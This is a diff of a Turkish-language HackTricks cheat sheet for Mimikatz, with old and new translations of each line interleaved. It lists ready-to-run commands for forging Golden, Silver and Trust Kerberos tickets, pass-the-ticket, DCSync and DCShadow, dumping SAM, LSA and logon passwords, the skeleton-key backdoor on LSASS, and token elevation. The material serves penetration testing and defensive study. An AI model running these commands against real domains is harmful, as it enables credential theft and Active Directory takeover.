- `/ptt`: Bileti doğrudan belleğe enjekte eder.
- `/ticket`: Bileti daha sonra kullanmak üzere kaydeder.
@ -76,27 +79,27 @@ Golden Bilet, etki alanı genelinde erişim taklitine izin verir. Ana komut ve p
```bash
mimikatz "kerberos::golden /user:admin /domain:example.com /sid:S-1-5-21-123456789-123456789-123456789 /krbtgt:ntlmhash /ptt" exit
```
### Silver Bilet Oluşturma
### Silver Ticket Oluşturma
Silver Biletler, belirli hizmetlere erişim sağlar. Anahtar komut ve parametreler:
Silver Ticket'lar belirli hizmetlere erişim sağlar. Ana komut ve parametreler:
- Komut: Altın Bilet'e benzer, ancak belirli hizmetlere yöneliktir.
- Komut: Golden Ticket'e benzer ancak belirli hizmetleri hedef alır.
- Parametreler:
- `/service`: Hedeflenen hizmet (örneğin, cifs, http).
- Diğer parametreler Altın Bilet'e benzer.
- `/service`: Hedef alınacak hizmet (örn., cifs, http).
- Diğer parametreler Golden Ticket ile benzerdir.
Örnek:
```bash
mimikatz "kerberos::golden /user:user /domain:example.com /sid:S-1-5-21-123456789-123456789-123456789 /target:service.example.com /service:cifs /rc4:ntlmhash /ptt" exit
```
### Güven Bileti Oluşturma
### Trust Ticket Oluşturma
Güven Biletleri, güven ilişkilerini kullanarak alanlar arası kaynaklara erişim sağlamak için kullanılır. Ana komut ve parametreler:
Trust Ticket'lar, güven ilişkilerini kullanarak alanlar arasında kaynaklara erişim sağlamak için kullanılır. Ana komut ve parametreler:
- Komut: Güven ilişkileri için Altın Bilet'e benzer.
- Komut: Golden Ticket'e benzer ancak güven ilişkileri için.
- Parametreler:
- `/target`: Hedef alanın FQDN'si.
- `/rc4`: Güven hesabının NTLM özeti.
- `/rc4`: Güven hesabı için NTLM hash'i.
Örnek:
```bash
@ -104,32 +107,32 @@ mimikatz "kerberos::golden /domain:child.example.com /sid:S-1-5-21-123456789-123
```
### Ek Kerberos Komutları
- **Biletleri Listeleme**:
- **Biletleri Listele**:
- Komut: `kerberos::list`
- Geçerli kullanıcı oturumu için tüm Kerberos biletlerini listeler.
- Mevcut kullanıcı oturumu için tüm Kerberos biletlerini listeler.
- **Önbelleği Geçme**:
- **Önbelleği Geç**:
- Komut: `kerberos::ptc`
- Önbellek dosyalarından Kerberos biletlerini enjekte eder.
- Örnek: `mimikatz "kerberos::ptc /ticket:ticket.kirbi" exit`
- **Bileti Geçme**:
- **Bileti Geç**:
- Komut: `kerberos::ptt`
- Başka bir oturumda Kerberos bileti kullanmayı sağlar.
- Başka bir oturumda Kerberos biletini kullanmaya olanak tanır.
- Örnek: `mimikatz "kerberos::ptt /ticket:ticket.kirbi" exit`
- **Biletleri Temizleme**:
- **Biletleri Temizle**:
- Komut: `kerberos::purge`
- Oturumdaki tüm Kerberos biletlerini temizler.
- Çakışmaları önlemek için bilet manipülasyon komutları kullanmadan önce kullanışlıdır.
- Oturumdan tüm Kerberos biletlerini temizler.
- Çatışmaları önlemek için bilet manipülasyon komutlarını kullanmadan önce faydalıdır.
### Active Directory Manipülasyonu
- **DCShadow**: Geçici olarak bir makineyi AD nesne manipülasyonu için bir DC gibi çalıştırır.
- **DCShadow**: Bir makineyi AD nesne manipülasyonu için geçici olarak DC gibi davranmasını sağlar.
- `mimikatz "lsadump::dcshadow /object:targetObject /attribute:attributeName /value:newValue" exit`
- **DCSync**: Şifre verilerini istemek için bir DC'yi taklit eder.
- **DCSync**: Şifre verilerini talep etmek için bir DC'yi taklit eder.
- `mimikatz "lsadump::dcsync /user:targetUser /domain:targetDomain" exit`
### Kimlik Bilgilerine Erişim
@ -138,36 +141,36 @@ mimikatz "kerberos::golden /domain:child.example.com /sid:S-1-5-21-123456789-123
- `mimikatz "lsadump::lsa /inject" exit`
- **LSADUMP::NetSync**: Bir bilgisayar hesabının şifre verilerini kullanarak bir DC'yi taklit eder.
- *NetSync için özel bir komut sağlanmamıştır.*
- *Orijinal bağlamda NetSync için özel bir komut sağlanmamıştır.*
- **LSADUMP::SAM**: Yerel SAM veritabanına erişim sağlar.
- `mimikatz "lsadump::sam" exit`
- **LSADUMP::Secrets**: Kayıt defterinde depolanan şifreleri şifreler.
- **LSADUMP::Secrets**: Kayıt defterinde saklanan sırları deşifre eder.
- `mimikatz "lsadump::secrets" exit`
- **LSADUMP::SetNTLM**: Bir kullanıcı için yeni bir NTLM karma değeri belirler.
- **LSADUMP::SetNTLM**: Bir kullanıcı için yeni bir NTLM hash'i ayarlar.
- `mimikatz "lsadump::setntlm /user:targetUser /ntlm:newNtlmHash" exit`
- **LSADUMP::Trust**: Güven ilişkisi kimlik doğrulama bilgilerini alır.
- **LSADUMP::Trust**: güven ilişkisi kimlik doğrulama bilgilerini alır.
- `mimikatz "lsadump::trust" exit`
### Çeşitli
- **MISC::Skeleton**: Bir DC'deki LSASS'a bir arka kapı enjekte eder.
- **MISC::Skeleton**: LSASS'a bir arka kapı enjekte eder.
- `mimikatz "privilege::debug" "misc::skeleton" exit`
### Yetki Yükseltme
- **PRIVILEGE::Backup**: Yedekleme haklarını elde eder.
- **PRIVILEGE::Backup**: Yedekleme haklarını edinir.
- `mimikatz "privilege::backup" exit`
- **PRIVILEGE::Debug**: Hata ayıklama ayrıcalıklarını elde eder.
- `mimikatz "privilege::debug" exit`
### Kimlik Bilgilerini Sızdırma
### Kimlik Bilgisi Dökümü
- **SEKURLSA::LogonPasswords**: Oturum açmış kullanıcıların kimlik bilgilerini gösterir.
- **SEKURLSA::LogonPasswords**: Oturum açmış kullanıcılar için kimlik bilgilerini gösterir.
- `mimikatz "sekurlsa::logonpasswords" exit`
- **SEKURLSA::Tickets**: Bellekten Kerberos biletlerini çıkarır.
@ -177,9 +180,9 @@ mimikatz "kerberos::golden /domain:child.example.com /sid:S-1-5-21-123456789-123
- **SID::add/modify**: SID ve SIDHistory'yi değiştirir.
- Ekle: `mimikatz "sid::add /user:targetUser /sid:newSid" exit`
- Değiştir: *Değiştirme için özel bir komut sağlanmamıştır.*
- Değiştir: *Orijinal bağlamda değiştir için özel bir komut yoktur.*
- **TOKEN::Elevate**: Tokenları taklit eder.
- **TOKEN::Elevate**: Token'ları taklit eder.
- `mimikatz "token::elevate /domainadmin" exit`
### Terminal Hizmetleri
@ -188,7 +191,7 @@ mimikatz "kerberos::golden /domain:child.example.com /sid:S-1-5-21-123456789-123
- `mimikatz "ts::multirdp" exit`
- **TS::Sessions**: TS/RDP oturumlarını listeler.
- *TS::Sessions için özel bir komut sağlanmamıştır.*
- *Orijinal bağlamda TS::Sessions için özel bir komut sağlanmamıştır.*
### Vault
@ -196,14 +199,17 @@ mimikatz "kerberos::golden /domain:child.example.com /sid:S-1-5-21-123456789-123
- `mimikatz "vault::cred /patch" exit`
{% hint style="success" %}
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong> ile sıfırdan kahraman olmaya kadar AWS hackleme öğrenin</summary>
<summary>HackTricks'i Destekleyin</summary>
* Bir **cybersecurity şirketinde** çalışıyor musunuz? **Şirketinizi HackTricks'te reklamını görmek** ister misiniz? veya **PEASS'ın en son sürümüne erişmek veya HackTricks'i PDF olarak indirmek** ister misiniz? [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family), özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonunu keşfedin.
* [**Resmi PEASS & HackTricks ürünlerine**](https://peass.creator-spring.com) göz atın.
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**'u takip edin**.
* **Hacking hilelerinizi** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **ve** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **ile PR göndererek paylaşın**.
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'i takip edin.**
* **Hacking ipuçlarını paylaşmak için [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.**
</details>
{% endhint %}